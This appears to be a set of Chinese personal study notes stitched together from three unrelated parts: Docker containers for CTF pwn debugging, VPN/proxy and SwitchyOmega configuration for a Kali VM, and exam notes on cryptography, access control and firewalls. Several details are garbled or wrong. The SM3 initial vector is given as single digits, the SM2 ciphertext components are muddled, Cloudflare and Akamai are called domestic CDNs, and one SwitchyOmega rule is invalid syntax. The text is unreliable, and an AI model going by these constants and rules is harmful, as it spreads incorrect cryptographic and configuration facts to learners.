一、环境前置准备

1. 验证现有Ubuntu镜像

1
docker images
  • 预期结果:需包含 ubuntu:16.04ubuntu:18.04ubuntu:20.04 三个镜像

2. 拉取缺失镜像(若验证不通过)

1
2
3
4
5
6
7
8
# Ubuntu 16.04(对应libc-2.23,端口9997)
docker pull ubuntu:16.04

# Ubuntu 18.04(对应libc-2.27,端口9998)
docker pull ubuntu:18.04

# Ubuntu 20.04(对应libc-2.31,端口9999)
docker pull ubuntu:20.04

二、核心容器创建(3个Pwn专用环境)

容器1:Ubuntu 16.04 + libc-2.23

1
2
3
4
5
docker run -it --privileged \
-v ~/Pwn/myPwn:/root/myPwn \ # 本地仓库挂载到容器
-p 9997:9997 \ # 端口映射(主机:容器)
--name pwn-2.23 \ # 容器名称
ubuntu:16.04 /bin/bash

容器内首次启动需执行(安装调试工具):

1
apt update && apt install -y gdbserver net-tools git

容器2:Ubuntu 18.04 + libc-2.27

1
2
3
4
5
docker run -it --privileged \
-v ~/Pwn/myPwn:/root/myPwn \
-p 9998:9998 \
--name pwn-2.27 \
ubuntu:18.04 /bin/bash

容器内首次启动需执行:

1
apt update && apt install -y gdbserver net-tools git

容器3:Ubuntu 20.04 + libc-2.31

1
2
3
4
5
docker run -it --privileged \
-v ~/Pwn/myPwn:/root/myPwn \
-p 9999:9999 \
--name pwn-2.31 \
ubuntu:20.04 /bin/bash

容器内首次启动需执行:

1
apt update && apt install -y gdbserver net-tools git

三、容器日常管理指令

1. 启动容器

1
2
3
4
5
# 启动单个容器(示例:pwn-2.27)
docker start pwn-2.27

# 启动所有Pwn容器(一键操作)
docker start pwn-2.23 pwn-2.27 pwn-2.31

2. 进入已启动的容器

1
2
3
4
5
6
# 进入单个容器(示例:pwn-2.27)
docker exec -it pwn-2.27 /bin/bash

# 进入其他容器
docker exec -it pwn-2.23 /bin/bash # 16.04环境
docker exec -it pwn-2.31 /bin/bash # 20.04环境

3. 停止容器

1
2
3
4
5
6
7
8
# 停止单个容器(示例:pwn-2.27)
docker stop pwn-2.27

# 停止所有Pwn容器
docker stop pwn-2.23 pwn-2.27 pwn-2.31

# 停止所有运行中的容器(快速清理)
docker stop $(docker ps -q)

4. 查看容器状态

1
2
3
4
5
# 查看运行中的容器
docker ps

# 查看所有容器(运行中+已停止)
docker ps -a

5. 重启容器(解决卡死或配置生效)

1
2
# 示例:重启pwn-2.27
docker restart pwn-2.27

四、Pwn调试核心操作

1. 单步调试模式(推荐)

进入对应容器后,执行以下步骤(替换题目路径/文件名):

1
2
3
4
5
6
7
8
# 进入题目目录(示例)
cd /root/myPwn/babyheap-2.27

# 赋予执行权限
chmod +x ./babyheap

# 启动gdbserver(等待主机连接)
gdbserver 0.0.0.0:9998 ./babyheap
  • 成功标志:容器内显示 Listening on port 9998

2. 快速测试模式(无需单步调试)

1
2
3
cd /root/myPwn/题目文件夹名
chmod +x ./题目文件名
./题目文件名 | nc -l 0.0.0.0 9998 # 用nc转发端口

3. 验证端口监听状态(排查连接问题)

容器内执行:

1
netstat -tuln
  • 预期结果:调试时对应端口(9997/9998/9999)显示为 LISTEN 状态

4. 主机与容器文件互传(应急用)

1
2
3
4
5
# 主机 → 容器(示例:传exp.py到pwn-2.27)
docker cp ~/Pwn/myPwn/exp.py pwn-2.27:/root/myPwn/

# 容器 → 主机(示例:传flag.txt到本地)
docker cp pwn-2.27:/root/myPwn/flag.txt ~/Pwn/

五、容器退出方式

1. 退出后停止容器(调试完成)

容器内输入:

1
exit
  • 效果:返回主机终端,容器状态变为 Exited

2. 退出后保留运行(暂时离开)

容器内按组合键:

1
Ctrl + P + Q  # 先按Ctrl+P,再按Ctrl+Q(顺序不可换)
  • 效果:返回主机终端,容器仍在后台运行(状态为 Up

六、镜像管理(备份/恢复)

1. 查看本地镜像

1
docker images

2. 备份镜像(换设备/重装系统)

1
2
3
4
5
6
7
8
# 创建备份目录
mkdir -p ~/docker-backup

# 备份单个镜像(示例:ubuntu:18.04)
docker save -o ~/docker-backup/ubuntu18.04-pwn.tar ubuntu:18.04

# 备份所有Pwn基础镜像
docker save -o ~/docker-backup/ubuntu-all-pwn.tar ubuntu:16.04 ubuntu:18.04 ubuntu:20.04

3. 恢复备份的镜像

1
2
3
4
5
# 恢复单个镜像(示例:ubuntu:18.04)
docker load -i ~/docker-backup/ubuntu18.04-pwn.tar

# 恢复所有镜像
docker load -i ~/docker-backup/ubuntu-all-pwn.tar

4. 删除镜像(谨慎操作)

1
2
3
# 先删除依赖容器,再删除镜像(示例:ubuntu:16.04)
docker stop pwn-2.23 && docker rm pwn-2.23
docker rmi ubuntu:16.04

七、容器删除(谨慎使用)

1. 删除单个容器

1
2
# 先停止,再删除(示例:pwn-2.23)
docker stop pwn-2.23 && docker rm pwn-2.23

2. 清理所有已停止的容器

1
docker rm $(docker ps -a -q)

3. 强制删除运行中的容器(不推荐)

1
docker rm -f pwn-2.23

八、问题排查指令

1. 查看容器详细配置(IP/挂载/端口)

1
2
3
4
5
# 查看pwn-2.27详细信息
docker inspect pwn-2.27

# 快速获取容器IP
docker inspect pwn-2.27 | grep "IPAddress"

2. 查看容器运行日志(题目崩溃/报错时)

1
2
# 查看pwn-2.27日志
docker logs pwn-2.27

3. 检查端口映射是否生效

1
2
3
4
5
# 查看所有容器端口映射
docker port $(docker ps -q)

# 查看单个容器映射(示例:pwn-2.27)
docker port pwn-2.27

九、快捷指令(一键复用)

  1. 一键启动所有容器并进入pwn-2.27:
1
docker start pwn-2.23 pwn-2.27 pwn-2.31 && docker exec -it pwn-2.27 /bin/bash
  1. 一键停止所有容器并查看状态:
1
docker stop pwn-2.23 pwn-2.27 pwn-2.31 && docker ps -a
  1. 容器内快速启动题目(pwn-2.27示例):
1
cd /root/myPwn/题目文件夹名 && chmod +x ./题目文件名 && gdbserver 0.0.0.0:9998 ./题目文件名

十、核心配置对照表

容器名 Ubuntu版本 libc版本 映射端口 本地挂载路径 容器内挂载路径
pwn-2.23 16.04 2.23 9997 ~/Pwn/myPwn /root/myPwn
pwn-2.27 18.04 2.27 9998 ~/Pwn/myPwn /root/myPwn
pwn-2.31 20.04 2.31 9999 ~/Pwn/myPwn /root/myPwn

十一、日常调试流程总结

  1. 启动容器:docker start pwn-2.27(按需替换容器名)
  2. 进入容器:docker exec -it pwn-2.27 /bin/bash
  3. 启动题目:cd /root/myPwn/题目目录 && gdbserver 0.0.0.0:9998 ./题目名
  4. 主机调试:激活Python环境 → 运行脚本(连接对应端口)
  5. 结束操作:exit(退出容器)→ docker stop pwn-2.27(停止容器)

十二、Ubuntu 16.04 安装zsh(解决软件源问题)

Ubuntu 16.04 zsh安装步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 1. 更换软件源(解决Ubuntu 16.04软件源过期问题)
cp /etc/apt/sources.list /etc/apt/sources.list.backup

# 使用archive.ubuntu.com(最稳定的源)
cat > /etc/apt/sources.list << 'EOF'
deb http://archive.ubuntu.com/ubuntu/ xenial main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu/ xenial-updates main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu/ xenial-backports main restricted universe multiverse
deb http://security.ubuntu.com/ubuntu/ xenial-security main restricted universe multiverse
EOF

# 2. 更新软件源
apt update

# 3. 只安装最基本的zsh
apt install -y zsh

# 4. 创建极简配置
cat > ~/.zshrc << 'EOF'
export TERM=xterm-256color
PS1="[%n@%m %~]$ "
alias ll='ls -la'
alias pwn-cd='cd /root/myPwn'
EOF

# 5. 设置默认shell
chsh -s $(which zsh)

# 6. 退出并重新进入测试
exit
docker exec -it pwn-2.23 zsh

Ubuntu 16.04 zsh颜色配置(可选)

如果极简配置工作正常,可以添加颜色:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 备份当前配置
cp ~/.zshrc ~/.zshrc.backup

# 创建带颜色的配置
cat > ~/.zshrc << 'EOF'
# 启用颜色支持
autoload -U colors && colors

# 设置彩色提示符
PS1="%{$fg[green]%}%n@%m%{$reset_color%}:%{$fg[blue]%}%~%{$reset_color%}$ "

# 设置终端类型
export TERM=xterm-256color

# 启用自动补全
autoload -U compinit
compinit

# 设置别名(带颜色)
alias ls='ls --color=auto'
alias ll='ls -la --color=auto'
alias grep='grep --color=auto'
alias pwn-cd='cd /root/myPwn'
alias gdb-start='gdbserver 0.0.0.0:9997'
alias pwn-env='echo "Ubuntu 16.04 - libc 2.23 - Port 9997"'
EOF

# 重新加载配置
source ~/.zshrc

十三、Ubuntu 18.04/20.04 安装zsh(标准方法)

Ubuntu 18.04/20.04 zsh安装步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 进入容器
docker exec -it pwn-2.27 /bin/bash # 或 pwn-2.31

# 安装zsh
apt update && apt install -y zsh

# 创建配置(可根据需要选择极简或彩色版本)
cat > ~/.zshrc << 'EOF'
export TERM=xterm-256color
PS1="[%n@%m %~]$ "
alias ll='ls -la'
alias pwn-cd='cd /root/myPwn'
alias gdb-start='gdbserver 0.0.0.0:9998' # 18.04用9998,20.04用9999
alias pwn-env='echo "Ubuntu 18.04 - libc 2.27 - Port 9998"' # 相应修改版本信息
EOF

# 设置默认shell
chsh -s $(which zsh)

十四、注意事项

  1. Ubuntu 16.04必须更换软件源后才能正常安装zsh
  2. 如果遇到locale错误,可执行:export LANG=C
  3. 极简配置确保兼容性,彩色配置提供更好体验
  4. 建议先测试极简配置,确认正常后再尝试彩色配置

一、代理层级架构与优先级原理

1. 网络层代理(VPN)- 最底层

  • 工作层级:操作系统内核层
  • 技术代表:OpenVPN、WireGuard、IPsec
  • 控制粒度全局代理 - 所有应用程序流量
  • 技术比喻:给电脑虚拟搬迁到VPN服务器机房
  • 特点:透明性高、安全性强,但灵活性差

2. 系统层代理 - 中间层

  • 工作层级:操作系统应用层协议
  • 技术代表:Windows/MacOS系统代理设置
  • 控制粒度系统级 - 影响遵守系统设置的应用程序
  • 技术比喻:设立总的收发室处理外寄信件
  • 特点:配置方便,但容易被应用程序绕过

3. 应用层代理 - 最高层

  • 浏览器插件(SwitchyOmega等):

    • 控制粒度进程级 - 仅控制浏览器流量
    • 技术比喻:书房内的智能路由器
    • 存在意义:提供最精细的流量控制,实现国内外网站分流
  • 应用程序内置代理

    • 控制粒度应用级 - 仅影响单个应用程序
    • 特点:配置独立,针对性强的网络通道

二、四大核心场景流量走向详解

场景1:主机标准VPN模式(无冲突)

核心逻辑:最标准的VPN使用场景。所有应用程序流量都遵循系统级代理设置,通过VPN隧道加密转发,实现全局网络匿名化。

适用场景:需要完全匿名、安全加密所有流量的环境。

场景2:主机浏览器代理分流(主动绕行)

核心逻辑:浏览器插件优先级高于系统代理,实现精细化流量分流。浏览器按插件规则转发(国内外网站分流),其他应用仍走VPN通道。

存在意义:解决VPN”一刀切”的弊端,优化访问速度,避免国内流量绕行。

场景3:虚拟机理想共享模式(透明代理)

核心逻辑:虚拟机通过NAT模式完全依赖主机网络路由,继承主机VPN设置,实现”透明代理”效果。

前提条件

  • 虚拟机设为NAT模式
  • 关闭虚拟机内所有代理插件
  • 主机运行全局VPN

场景4:虚拟机代理冲突(嵌套绕行)

核心逻辑:虚拟机内浏览器插件拦截流量,导致浏览器绕开主机VPN,形成代理嵌套冲突

问题根源:虚拟机内的高优先级代理规则覆盖了主机的低优先级代理规则。


三、Kali 虚拟机配置

完整配置检查清单

为确保Kali虚拟机正确共享主机VPN,请按以下流程系统配置:

关键配置步骤

1. 基础环境配置

  • 主机VPN:必须使用系统级全局VPN(OpenVPN、WireGuard等)
  • 网络模式:虚拟机设置为NAT模式(默认)

2. DNS泄漏解决方案

临时方案(测试用)

1
2
3
sudo nano /etc/resolv.conf
# 添加:nameserver 10.8.0.1 (替换为实际VPN DNS)
sudo chattr +i /etc/resolv.conf # 锁定文件

永久方案(推荐)

1
2
3
4
5
sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
sudo rm -f /etc/resolv.conf
sudo nano /etc/resolv.conf # 配置VPN DNS
sudo systemctl restart NetworkManager

四、验证与故障排除

基础验证方法

  1. IP地址检测

    1
    2
    curl ifconfig.me
    # 访问:WhatIsMyIPAddress.com

    预期:显示IP应与VPN服务器位置一致

  2. DNS泄漏测试

    • 访问 DNS Leak Test
    • 执行 Extended Test
      预期:不应出现本地ISP的DNS服务器

故障排除 checklist

  • ✅ 主机VPN是否正常连接
  • ✅ 虚拟机是否为NAT模式
  • ✅ 虚拟机浏览器代理插件是否关闭
  • ✅ DNS是否配置正确且无泄漏
  • ✅ 系统时间是否同步(影响HTTPS)

五、知识总结

代理选择策略

需求场景 推荐代理方式 理由
全局匿名安全 网络层VPN 所有流量加密,完全匿名
网页浏览优化 浏览器插件 国内外分流,速度最优
办公环境统一 系统代理 统一管理,配置简便
虚拟机共享 NAT模式+VPN 透明代理,无需复杂配置

关键原则

  1. 理解代理层级:浏览器插件 > 系统代理 > VPN
  2. 虚拟机前提:NAT模式是共享主机VPN的基础
  3. DNS安全:DNS泄漏是最大的安全隐患
  4. 按需配置:根据实际需求选择合适的代理层级

六、浏览器插件使用

方法一:SwitchyOmega + 系统VPN联动(推荐)

  • 基础环境准备

    • 系统VPN:连接你的全局VPN(OpenVPN、WireGuard等)
    • SwitchyOmega:在浏览器中安装并配置
  • SwitchyOmega配置步骤: 创建两个情景模式:

    • 直连模式(Direct)
      - 类型:直接连接
      - 用于访问国内网站

    • VPN模式(System VPN)
      - 类型:直接连接(是的,直接连接!)
      - 因为系统VPN已经在全局工作,这里选择直接连接就会走系统VPN

配置自动切换模式(Auto Switch):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 在自动切换的规则列表中配置
// 国内网站直连,国外网站走系统VPN

// 直连规则(国内网站)
||baidu.com^ → Direct
||taobao.com^ → Direct
||qq.com^ → Direct
||weibo.com^ → Direct
||zhihu.com^ → Direct
||alipay.com^ → Direct
||jd.com^ → Direct
||163.com^ → Direct
||sina.com.cn^ → Direct
||sohu.com^ → Direct

// 使用系统VPN(国外网站)
||google.com^ → System VPN
||youtube.com^ → System VPN
||facebook.com^ → System VPN
||twitter.com^ → System VPN
||github.com^ → System VPN
||wikipedia.org^ → System VPN

// 默认规则:直连(保守策略)
* → Direct

使用更智能的方案:使用规则列表

导入现成的规则列表:

  1. 在Auto Switch模式中点击”从文件恢复”
  2. 导入以下规则列表之一:
    • GFWList:最全面的被墙网站列表
    • ChinaList:中国国内网站列表

或者使用在线规则列表:

1
https://raw.githubusercontent.com/gfwlist/gfwlist/master/gfwlist.txt

配置完成后,流量走向如下:

方法二:纯SwitchyOmega代理方案(替代方案)

如果系统VPN不稳定,可以在SwitchyOmega中直接配置代理:

配置代理服务器情景模式:

  • 名称:My VPN
  • 协议:SOCKS5 或 HTTP
  • 服务器:你的VPN服务器地址
  • 端口:对应的代理端口

自动切换规则

1
2
3
4
5
6
7
8
9
10
11
// 国内CDN和常用服务直连
||cn^ → Direct
||taobao.com^ → Direct
||baidu.com^ → Direct

// 国外网站走代理
||google.com^ → My VPN
||youtube.com^ → My VPN

// 默认直连
* → Direct

方法三:进阶优化配置

  1. 性能优化规则
1
2
3
4
5
6
7
8
9
10
11
// 图片、视频直连(加速加载)
||jpg|png|gif|mp4|webm^ → Direct

// 国内CDN直连
||cloudflare.com^ → Direct
||akamai.net^ → Direct

// 银行支付网站直连(安全)
||alipay.com^ → Direct
||unionpay.com^ → Direct
||icbc.com.cn^ → Direct
  1. 条件规则
1
2
3
4
5
6
7
8
// 根据网络环境自动调整
// 如果在国内网络,启用分流
// 如果在国外网络,全部直连

// 本地网络直连
192.168.0.0/16Direct
10.0.0.0/8Direct
127.0.0.1Direct

验证配置效果

  1. 测试国内网站
1
2
# 访问以下网站应显示国内IP
百度、淘宝、京东
  1. 测试国外网站
1
2
# 访问以下网站应显示VPN服务器IP
Google、YouTube、Twitter
  1. 使用检测网站
  • IP检测:whatismyipaddress.com
  • DNS检测:dnsleaktest.com

一、信息安全基础概念

1. 信息安全基本属性

  • 机密性:确保信息不泄露给未授权的个体、进程或实体
  • 完整性:保护数据和系统的准确性和完备性,防止未授权篡改
  • 可用性:确保授权用户在需要时可以正常访问和使用资源
  • 可控性:对信息传播及内容具有控制能力
  • 抗抵赖性:确保行为发起者无法否认其行为(如发送消息、签署文件)

2. 网络信息安全基本功能

  • 防御:事前采取的安全措施(防火墙、加密、访问控制)
  • 检测:事中或持续性的监控(IDS、态势感知)
  • 应急:事件发生后的紧急响应措施
  • 恢复:将受影响系统恢复到正常状态

3. 信息安全管理流程

  1. 确定管理对象
  2. 评估对象价值
  3. 识别对象威胁
  4. 识别对象脆弱性
  5. 确定对象风险级别
  6. 制定防范措施
  7. 实施和落实防范措施
  8. 运行与维护网络信息安全管理设备

4. 国家网络安全体系

  • 中国网络安全审查技术与认证中心(CCRC):负责网络安全设备审查
  • 入网许可证:由工信部下属实验室(泰尔实验室、威尔实验室)认证
  • 无线产品核准:由国家无线电管理委员会负责
  • 网络安全等级保护制度
    • 工作流程:定级→备案→建设整改→等级测评→运营维护
    • 等级划分:1-5级(从用户自主保护级到访问验证保护级)
  • 国家计算机网络应急技术处理协调中心(CNCERT/CC):负责网络安全事件应急处理
  • 四大顶级安全会议:S&P、CCS、NDSS、USENIX Security

5. 网络安全组织结构

领导层

  • 职责:确定网络安全战略方向,分配资源,对网络安全工作负责
  • 组成:企业高层管理者、网络安全委员会等
  • 关键任务
    • 批准网络安全政策和战略
    • 分配足够的预算和人力资源
    • 监督网络安全工作的执行
    • 对重大网络安全事件做出决策

管理层

  • 职责:制定网络安全策略、标准和流程,负责安全管理团队的组织和管理
  • 组成:安全总监、安全经理等
  • 关键任务
    • 制定和更新网络安全政策
    • 规划安全投资和资源分配
    • 监督安全实施进度
    • 组织安全培训和意识提升活动
    • 评估安全风险和应对措施

执行层

  • 职责:负责安全策略的具体实施和日常操作
  • 组成:安全技术实施团队、安全运维团队、安全分析团队等
  • 关键任务
    • 安全设备配置与维护
    • 安全监控与事件响应
    • 漏洞扫描与修复
    • 安全策略实施与验证
    • 安全报告编制

外部协作层

  • 职责:与外部安全组织、合作伙伴、监管机构的协作
  • 组成:与CNCERT、安全厂商、行业联盟等的协作机制
  • 关键任务
    • 安全信息共享与情报交换
    • 与监管机构的合规对接
    • 参与行业安全标准制定
    • 与合作伙伴的安全协作
    • 安全事件的跨组织响应

二、密码学与加密算法

1. 对称加密算法

DES加密算法详细过程

基本参数

  • 密钥长度:64位(实际有效56位,8位用于奇偶校验)
  • 分组长度:64位
  • 轮数:16轮

加密过程

  1. 初始置换(IP):64位明文经过初始置换表重新排列
  2. 16轮迭代
    • 每轮将64位数据分为左右32位
    • 右半部分通过扩展置换(48位)→与子密钥异或→S盒压缩(32位)→P盒置换
    • 将S盒输出与左半部分异或,作为下一轮的右半部分
    • 当前右半部分直接作为下一轮的左半部分
    • 每轮使用的子密钥由主密钥经过置换选择1、循环移位和置换选择2生成
  3. 逆初始置换(IP⁻¹):16轮结束后,左右32位合并,经过逆初始置换得到密文

S盒工作原理

  • 8个S盒,每个S盒接收6位输入,输出4位
  • 6位输入的第1位和第6位组成行号,中间4位组成列号
  • 从S盒中查表得到4位输出

密钥生成过程

  1. 64位密钥经过置换选择1,去除8位校验位,得到56位密钥
  2. 将56位密钥分为两部分,每部分28位
  3. 每轮进行循环左移(移位数根据轮数变化)
  4. 经过置换选择2得到48位子密钥
  5. 16轮共生成16个不同的48位子密钥

AES加密算法详细过程

基本参数

  • 密钥长度:128/192/256位
  • 分组长度:128位
  • 轮数:10/12/14轮(对应128/192/256位密钥)

加密过程

  1. 初始轮密钥加:明文与第一轮密钥进行异或
  2. 主轮函数(9/11/13轮):
    • 字节代换(SubBytes):使用S盒对每个字节进行非线性替换
    • 行移位(ShiftRows):每行按不同偏移量循环移位
    • 列混合(MixColumns):对列进行线性变换,实现扩散
    • 轮密钥加(AddRoundKey):与当前轮密钥异或
  3. 最终轮:与主轮类似,但省略列混合步骤

密钥扩展

  • 128位密钥扩展为44个32位字(176字节)
  • 扩展规则:W[i] = W[i-4] ⊕ T(W[i-1])(当i mod 4 = 0时)
  • T函数包括:字节代换、行移位、与轮常量异或

S盒构造

  • 通过有限域GF(2⁸)上的乘法逆元运算构建
  • 再经过仿射变换得到最终S盒

SM4对称加密算法详细过程

基本参数

  • 密钥长度:128位
  • 分组长度:128位
  • 轮数:32轮

加密过程

  1. 密钥扩展

    • 128位加密密钥经密钥扩展算法生成32轮轮密钥
    • 扩展过程:MK(主密钥)+ FK(固定参数)→ 32轮轮密钥
  2. 32轮迭代

    • 将128位明文分为4个32位字(X₀, X₁, X₂, X₃)
    • 每轮计算:Xᵢ₊₄ = Xᵢ ⊕ T(Xᵢ₊₁ ⊕ Xᵢ₊₂ ⊕ Xᵢ₊₃ ⊕ RKᵢ)
    • T变换包括:S盒代换、线性变换
  3. 反向输出:32轮后,将最后4个字反向组合成密文

T变换

  • 非线性部分:S盒代换,由4个8×8的S盒组成
  • 线性部分:L变换,执行8次移位和异或操作

RC4流密码详细过程

初始化

  1. 创建256字节的S盒,并初始化为0-255
  2. 使用密钥填充256字节的临时数组T
  3. 用密钥对S盒进行初始置换

密钥流生成

  1. i=0, j=0
  2. i = (i + 1) mod 256
  3. j = (j + S[i]) mod 256
  4. 交换S[i]和S[j]
  5. t = (S[i] + S[j]) mod 256
  6. K = S[t],作为密钥流字节

加密:明文字节与密钥流字节进行异或得到密文

2. 非对称加密算法

RSA算法详细过程

密钥生成

  1. 随机选择两个大素数p和q(通常为1024位以上)
  2. 计算n = p × q
  3. 计算欧拉函数φ(n) = (p-1)(q-1)
  4. 选择整数e(1 < e < φ(n)),使得gcd(e, φ(n)) = 1
  5. 计算d,使得d × e ≡ 1 (mod φ(n))
  6. 公钥:(e, n),私钥:(d, n)

加密过程

  1. 将明文M转换为整数(M < n)
  2. 计算密文C = Mᵉ mod n

解密过程

  1. 计算明文M = Cᵈ mod n

实际应用中的填充方案

  • PKCS#1 v1.5:添加固定格式的填充
  • OAEP(最优非对称加密填充):使用随机数和哈希函数进行填充

SM2椭圆曲线密码算法详细过程

基本参数

  • 素数域p
  • 椭圆曲线方程:y² = x³ + ax + b (mod p)
  • 基点G(阶为n的点)
  • 私钥d(1 < d < n-1)
  • 公钥P = dG

密钥生成

  1. 随机选择私钥d ∈ [1, n-1]
  2. 计算公钥P = dG

加密过程

  1. 选择随机数k ∈ [1, n-1]
  2. 计算C₁ = kG = (x₁, y₁)
  3. 计算t = kP = (x₂, y₂)
  4. 计算E = h(x₂||y₂) ⊕ M(h为哈希函数)
  5. 计算C₂ = SM3(x₂||M||y₂)
  6. 密文为(C₁, C₂, E)

解密过程

  1. 从C₁恢复t = dC₁
  2. 从E恢复M = h(x₂||y₂) ⊕ E
  3. 验证C₂ = SM3(x₂||M||y₂)

签名过程

  1. 计算e = SM3(Z || M),其中Z为用户身份标识
  2. 选择随机数k ∈ [1, n-1]
  3. 计算(x₁, y₁) = kG
  4. 计算r = (e + x₁) mod n
  5. 计算s = (1 + d)⁻¹(k - rd) mod n
  6. 签名为(r, s)

验证过程

  1. 验证r, s ∈ [1, n-1]
  2. 计算e = SM3(Z || M)
  3. 计算R = sG + (s + e)P
  4. 验证r = (e + x_R) mod n

ECC(椭圆曲线密码学)基本原理

椭圆曲线加法

  • 点加:P + Q = R
  • 点倍:2P = P + P
  • 无穷远点O作为加法单位元

有限域上的椭圆曲线

  • 素数域:y² = x³ + ax + b (mod p)
  • 二进制域:y² + xy = x³ + ax² + b (mod 2^m)

ECC安全性基础

  • 椭圆曲线离散对数问题(ECDLP)
  • 给定点P和Q = kP,求k在计算上是困难的

3. 哈希算法

MD5算法详细过程

基本参数

  • 输出长度:128位
  • 分组长度:512位
  • 轮数:4轮(每轮16步)

处理过程

  1. 填充:添加1后跟0,使长度≡448 mod 512
  2. 添加长度:附加64位原始消息长度
  3. 初始化MD缓冲区:A=0x67452301, B=0xEFCDAB89, C=0x98BADCFE, D=0x10325476
  4. 处理512位分组
    • 将分组分为16个32位字
    • 4轮处理,每轮16步
    • 每步使用不同的非线性函数F和常数T
    • 步骤:a = b + ((a + F(b,c,d) + X[k] + T[i]) <<< s)

非线性函数

  • 第1轮:F = (b & c) | ((~b) & d)
  • 第2轮:F = (b & d) | (c & (~d))
  • 第3轮:F = b ^ c ^ d
  • 第4轮:F = c ^ (b | (~d))

SHA-1算法详细过程

基本参数

  • 输出长度:160位
  • 分组长度:512位
  • 轮数:80步

处理过程

  1. 填充:添加1后跟0,使长度≡448 mod 512
  2. 添加长度:附加64位原始消息长度
  3. 初始化:h₀=0x67452301, h₁=0xEFCDAB89, h₂=0x98BADCFE, h₃=0x10325476, h₄=0xC3D2E1F0
  4. 处理512位分组
    • 将分组分为16个32位字W₀-W₁₅
    • 扩展为80个字:Wt = (Wt-3 ⊕ Wt-8 ⊕ Wt-14 ⊕ Wt-16) <<< 1
    • 80步处理,每步更新五个工作变量a,b,c,d,e
    • 步骤:TEMP = (a <<< 5) + f(b,c,d) + e + Wt + Kt
    • 更新:e=d, d=c, c=b<<<30, b=a, a=TEMP

非线性函数与常数

  • 0-19步:f = (b & c) | ((~b) & d), K=0x5A827999
  • 20-39步:f = b ^ c ^ d, K=0x6ED9EBA1
  • 40-59步:f = (b & c) | (b & d) | (c & d), K=0x8F1BBCDC
  • 60-79步:f = b ^ c ^ d, K=0xCA62C1D6

SM3哈希算法详细过程

基本参数

  • 输出长度:256位
  • 分组长度:512位
  • 轮数:64轮

处理过程

  1. 填充:添加1后跟0,使长度≡448 mod 512
  2. 添加长度:附加64位原始消息长度
  3. 初始化:A=7, B=4, C=1, D=2, E=1, F=2, G=8, H=8(初始向量)
  4. 处理512位分组
    • 将分组分为16个32位字
    • 扩展为68个字:Wt = P1(Wt-16 ⊕ Wt-9 ⊕ ROTL(Wt-3,15)) ⊕ ROTL(Wt-13,7) ⊕ Wt-6
    • 64轮处理,每轮使用不同的非线性函数和常数
    • 每轮更新8个32位工作变量

P0、P1函数

  • P0(X) = X ⊕ ROTL(X,9) ⊕ ROTL(X,17)
  • P1(X) = X ⊕ ROTL(X,15) ⊕ ROTL(X,23)

4. 数字签名技术

数字签名过程

  1. 发送方对原始数据用哈希函数(如SM3)生成摘要
  2. 用自己的私钥对摘要进行加密,得到数字签名
  3. 将原始数据和数字签名一起发送给接收方
  4. 接收方用发送方的公钥对签名进行解密,得到摘要A
  5. 接收方对收到的原始数据用同样的哈希函数生成摘要B
  6. 比较摘要A和摘要B,如果相同,则签名有效

典型数字签名算法

  • RSA签名:基于RSA加密算法
  • DSA:仅用于签名,不能加密
  • ECDSA:基于椭圆曲线的签名算法
  • SM2:国密算法,包含签名、密钥交换和加密功能

5. 密码操作模式

ECB (电子密码本) 模式

  • 工作原理:将明文分成固定长度的块,每个块独立加密
  • 特点
    • 相同明文块产生相同的密文块
    • 不需要初始化向量(IV)
    • 容易受到模式分析攻击
  • 应用场景:适合加密短消息或密钥,不适合加密大量数据
  • 安全风险:明文模式在密文中可见

CBC (密码分组链接) 模式

  • 工作原理:每个明文块与前一个密文块进行异或后再加密
  • 特点
    • 相同明文块在不同位置产生不同密文块
    • 需要初始化向量(IV)
    • 错误传播:单个比特错误影响当前块和下一个块
  • 应用场景:广泛用于文件加密、SSL/TLS
  • 安全优势:隐藏明文模式

CFB (密文反馈) 模式

  • 工作原理:将前一个密文块加密后与明文异或得到当前密文
  • 特点
    • 可以处理流数据
    • 需要初始化向量(IV)
    • 错误传播:单个比特错误影响多个后续块
  • 应用场景:实时数据加密,如卫星通信
  • 优势:可以将块加密算法转换为流加密

OFB (输出反馈) 模式

  • 工作原理:生成一个密钥流,明文与密钥流异或得到密文
  • 特点
    • 不受密文传输错误影响
    • 需要初始化向量(IV)
    • 相同IV和密钥会产生相同密钥流
  • 应用场景:卫星通信、有噪信道
  • 优势:错误不会传播

CTR (计数器) 模式

  • 工作原理:使用计数器生成密钥流,明文与密钥流异或
  • 特点
    • 可并行处理
    • 不受传输错误影响
    • 需要唯一计数器值
  • 应用场景:高性能要求的加密,如硬盘加密
  • 优势:高效,可随机访问

三、网络安全技术

1. 网络安全体系

网络安全体系特征

  • 整体性:各安全组件协同工作
  • 协同性:不同安全措施相互配合
  • 过程性:安全管理是持续过程
  • 全面性:覆盖所有安全方面
  • 适应性:能够应对新的安全威胁

2. 访问控制模型

自主访问控制模型(DAC)

  • 特点:基于主体的访问控制
  • 实现方式
    • 基于行:能力表、前缀表
    • 基于列:访问控制列表(ACL)、保护位
  • 特点:灵活性高,但难以统一管理

强制访问控制模型(MAC)

  • 特点:基于安全标记的访问控制
  • 典型模型
    • BLP模型:保护信息机密性,”不上读,不下写”
    • Biba模型:保护信息完整性,”不下读,不上写”
  • 实现方式:安全标签、访问矩阵

基于角色的访问控制模型(RBAC)

  • 特点:通过角色关联权限和用户
  • 核心组件
    • 用户:系统中的实体
    • 角色:权限的集合
    • 权限:对客体的操作权
  • 优点:简化权限管理,支持最小特权原则
  • 特殊属性:同时具有强制访问控制和自主访问控制的属性,是当前最常用的访问控制模型

3. 防火墙技术

防火墙类型

  1. 包过滤路由器:基于IP/TCP/UDP头信息过滤
  2. 双宿主机:具有两个网络接口的堡垒主机
  3. 屏蔽主机:包过滤路由器+堡垒主机
  4. 屏蔽子网:两个路由器+DMZ区域

防火墙性能指标

  • 单位时间内建立的TCP连接数量
  • 每秒处理的数据包数量
  • 并发连接数
  • 吞吐量

DMZ结构

  • 隔离区(DMZ):放置对外服务的服务器
  • 内部网络:保护内部资源
  • 外部网络:互联网
